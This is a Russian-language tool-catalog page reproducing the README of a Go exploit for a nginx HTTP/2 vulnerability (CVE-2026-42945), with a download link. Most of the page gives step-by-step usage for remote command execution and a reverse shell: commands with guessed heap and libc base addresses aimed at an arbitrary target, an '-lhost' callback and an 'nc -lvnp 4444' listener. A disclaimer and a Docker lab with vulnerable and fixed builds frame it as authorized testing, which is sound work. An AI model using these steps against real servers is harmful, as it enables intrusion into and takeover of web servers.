Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-42945 — Go-based exploit tool для CVE-2026-42945 (nginx HTTP/2) с возможностями обнаружения, проверки сбоев, выполнения команд и reverse shell для авторизованного тестирования безопасности. | Kitploit
Инструменты/GitHubGitHub/redcrazyghost/cve-2026-42945
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийФаззингТестирование на ПроникновениеЭксплуатация Бинарных Файлов
GitHubredcrazyghost/cve-2026-42945

CVE-2026-42945

Go-based exploit tool для CVE-2026-42945 (nginx HTTP/2) с возможностями обнаружения, проверки сбоев, выполнения команд и reverse shell для авторизованного тестирования безопасности.

Репозиторий
123 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-42945 PoC (Go)

Русский | English

Инструмент для обнаружения и эксплуатации уязвимости nginx HTTP/2 (CVE-2026-42945), предназначенный для проверки наличия уязвимости в авторизованной среде, сравнения эффективности исправлений и воспроизведения поведения PoC в контролируемой лабораторной среде.

Затронутые версии (приблизительно): nginx 0.6.27 – 1.30.0; 1.30.1+ / 1.31.0+ исправлены.


⚠️ Отказ от ответственности (обязательно к прочтению)

Данный репозиторий предназначен исключительно для исследований безопасности, проверки уязвимостей и защитного тестирования.

  1. Законное разрешение: Вы можете использовать этот инструмент только в системах, на которые имеете письменное разрешение или которые полностью принадлежат вам. Сканирование, обнаружение или атака сетей/серверов без разрешения является незаконным; авторы и участники не несут никакой юридической ответственности.
  2. Риски на вашей ответственности: Процесс эксплуатации может привести к краху рабочего процесса (worker) целевого сервиса, прерыванию бизнеса или повреждению данных. Вы должны самостоятельно оценить влияние и предварительно проверить в изолированной среде.
  3. Без гарантий: Инструмент предоставляется «как есть» и не гарантирует успешную эксплуатацию в реальной производственной среде; побочный канал не означает достижение RCE; необходимо независимо проверить через запись файла, обратную команду или обратную оболочку.
  4. Запрет на злоупотребление: Запрещается использовать инструмент для проникновения в неавторизованные системы, вымогательства, разрушения, майнинга или любых незаконных целей. Загрузка, компиляция или использование означает, что вы прочитали и согласились с данным заявлением.
  • Не связано с NGINX: Данный проект является независимой исследовательской реализацией и не представляет позицию NGINX или какого-либо производителя.
  • Если вы не принимаете вышеуказанные условия, немедленно прекратите использование и удалите репозиторий.


    Обзор функций

    РежимОписание
    -check-onlyПроверка связности, заголовка Server, приблизительной версии, обнаружение конечной точки PoC
    -probe-crashОтправка одного раунда эксплуатации, оценка через крах worker по побочному каналу
    -cmdФормирование эксплойт-нагрузки, выполнение указанной команды через system()
    -shellОбратная оболочка (требуется -lhost, на локальной машине нужен nc)
    -dockerПакетное тестирование локальной Docker-лаборатории (vuln / fixed)

    Требования к окружению

    • Go ≥ 1.26 (см. go.mod)
    • Опционально: Docker + docker compose (локальная лаборатория)
    • Опционально: make, golangci-lint (разработка/проверка кода)
    • Проверка эксплуатации: цель должна предоставлять необходимые конечные точки PoC (GET /api/, POST /spray и т.д.); образы Docker уже содержат их

    Ограничения и применимость

    ЭлементОписание
    ПротоколПоддерживается только открытый HTTP (net.Dial + сырые HTTP-байты); HTTPS/TLS не поддерживается. Для порта -port 443 и других TLS-портов требуется предварительное терминирование TLS или использование HTTP-порта.
    Эксперименты в DockerОбразы для linux/amd64, первая сборка docker compose build компилирует nginx из исходников, что долго; внутри контейнера используется setarch -R для отключения ASLR, что сильно отличается от продакшена.
    Apple SiliconЛокальный Docker работает через эмуляцию platform: linux/amd64, медленно.
    Обратная оболочка-shell зависит от системного nc; на Windows рекомендуется ручной прослушивание.
    Определение эксплуатацииПобочный канал (крах worker) не равен RCE; необходимо независимо проверить побочные эффекты команды.

    Сборка

    root@kitploit:~
    # Быстрая сборка (вывод в bin/, игнорируется .gitignore)
    make build-cmd
    
    # Или напрямую через go
    go build -o ./bin/cve-2026-42945 ./cmd
    
    # Просмотр встроенной версии
    ./bin/cve-2026-42945 -version
    

    Бинарные файлы релизов: скачайте cve-2026-42945-<os>-<arch> для нужной платформы в Releases (автоматически собирается GitHub Actions после пуша тега v*).


    Руководство по использованию

    Параметры командной строки

    root@kitploit:~
    -target string      Цель IP/хост (по умолчанию 127.0.0.1)
    -port int           Порт цели (0=80; для Docker-уязвимой версии часто 19321)
    -docker             Тестировать локальную Docker-лабораторию (vuln:19321, fixed:19331)
    -check-only         Только обнаружение, не отправлять трафик эксплойта
    -probe-crash        Обнаружение переполнения + побочный канал краха worker
    -cmd string         Команда для выполнения через system()
    -shell              Обратная оболочка (требуется -lhost)
    -lhost string       IP хоста для обратной оболочки
    -lport int          Порт хоста для обратной оболочки (по умолчанию 4444)
    -docker-profile     Использовать измеренные в deploy/docker базовые адреса кучи/libc
    -heap-base string   Базовый адрес кучи (шестнадцатеричный, например 0x555555659000)
    -libc-base string   Базовый адрес libc (шестнадцатеричный)
    -tries int          Количество попыток для каждого кандидата кучи (по умолчанию 10)
    -timeout int        Тайм-аут одного HTTP-запроса в секундах (по умолчанию 5)
    -v                  Подробный вывод
    -version            Показать версию и выйти
    

    Режим -docker нельзя использовать одновременно с -cmd / -shell; для эксплуатации одной цели укажите -port 19321.

    1. Только обнаружение цели

    root@kitploit:~
    ./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only
    

    2. Побочный канал краха (одна цель)

    root@kitploit:~
    ./bin/cve-2026-42945 -port 19321 -probe-crash -v
    

    3. Сравнение в Docker-лаборатории

    Сначала запустите контейнеры:

    root@kitploit:~
    make docker-up
    # или
    docker compose -f deploy/docker-compose.yml up -d --build
    

    Первая сборка может занять несколько минут, так как компилируется nginx; дождитесь статуса healthy у сервисов в docker compose ps, затем запускайте make test-lab.

    СервисПортОписание
    vuln19321nginx 1.30.0 (уязвимый)
    fixed19331nginx 1.30.1 (исправленный)

    Пакетное обнаружение:

    root@kitploit:~
    ./bin/cve-2026-42945 -docker -check-only
    ./bin/cve-2026-42945 -docker -probe-crash
    

    Или используйте цель Makefile:

    root@kitploit:~
    make test-lab          # check + probe
    make cmd-exploit       # запись /tmp/pwned в vuln и командная проверка
    

    4. Выполнение команды на Docker vuln (проверка RCE)

    Экспериментальные контейнеры с отключенным ASLR (setarch -R) и использованием предустановленных базовых адресов -docker-profile дают наибольший успех:

    root@kitploit:~
    ./bin/cve-2026-42945 -port 19321 -docker-profile \
      -cmd 'echo pwned > /tmp/pwned' -v
    
    # Проверка, записан ли файл
    docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned
    

    5. Обратная оболочка

    root@kitploit:~
    # Терминал 1: запуск инструмента (попытается фоново прослушать nc)
    ./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v
    
    # Если nc не найден, откройте другой терминал и прослушивайте вручную:
    nc -lvnp 4444
    

    6. Пользовательская раскладка памяти

    Если на реальной цели ASLR, версия libc не совпадают с Docker, необходимо утечь или угадать базовые адреса:

    root@kitploit:~
    # Цель должна быть на открытом HTTP-порту (не TLS)
    ./bin/cve-2026-42945 -target TARGET -port 8080 \
      -heap-base 0x555555659000 \
      -libc-base 0x7ffff77ba000 \
      -cmd 'id' -tries 20 -v
    

    Интерпретация результатов

    • [+] Побочный канал: worker аномален: означает только то, что worker мог упасть из-за переполнения; не может служить единственным доказательством успешного RCE.
    • Необходима вторичная проверка: проверьте побочные эффекты команды (файлы, процессы, docker exec и т.д.).
    • Частые причины неудачи: включён ASLR, неверные смещения кучи/libc, недоступность конечной точки PoC, WAF/ограничение скорости, необходимость перезапуска контейнера.

    Структура проекта

    root@kitploit:~
    cmd/                 Основная точка входа
    internal/rift/       Логика обнаружения, формирования нагрузки и эксплуатации
    deploy/docker/       Образы nginx 1.30.0 / 1.30.1 для экспериментов
    deploy/docker-compose.yml
    .github/workflows/   Сборка релизов для нескольких платформ
    

    Разработка

    root@kitploit:~
    make help            # Показать все цели make
    make test            # Модульные тесты
    make lint            # golangci-lint
    make version         # Показать текущий номер версии сборки
    

    Выпуск новой версии:

    root@kitploit:~
    git tag v1.0.0
    git push origin v1.0.0
    

    Ссылки

    • Репозиторий: https://github.com/RedCrazyGhost/CVE-2026-42945
    • CVE: CVE-2026-42945 (уязвимость nginx HTTP/2; информация на основе официальных объявлений)
    • Лицензия: MIT License
    • Безопасность: SECURITY.md

    Ещё раз напоминание

    Используйте этот инструмент только в системах, которые вы имеете право тестировать. Любые злоупотребления не связаны с авторами.

    Скачать инструмент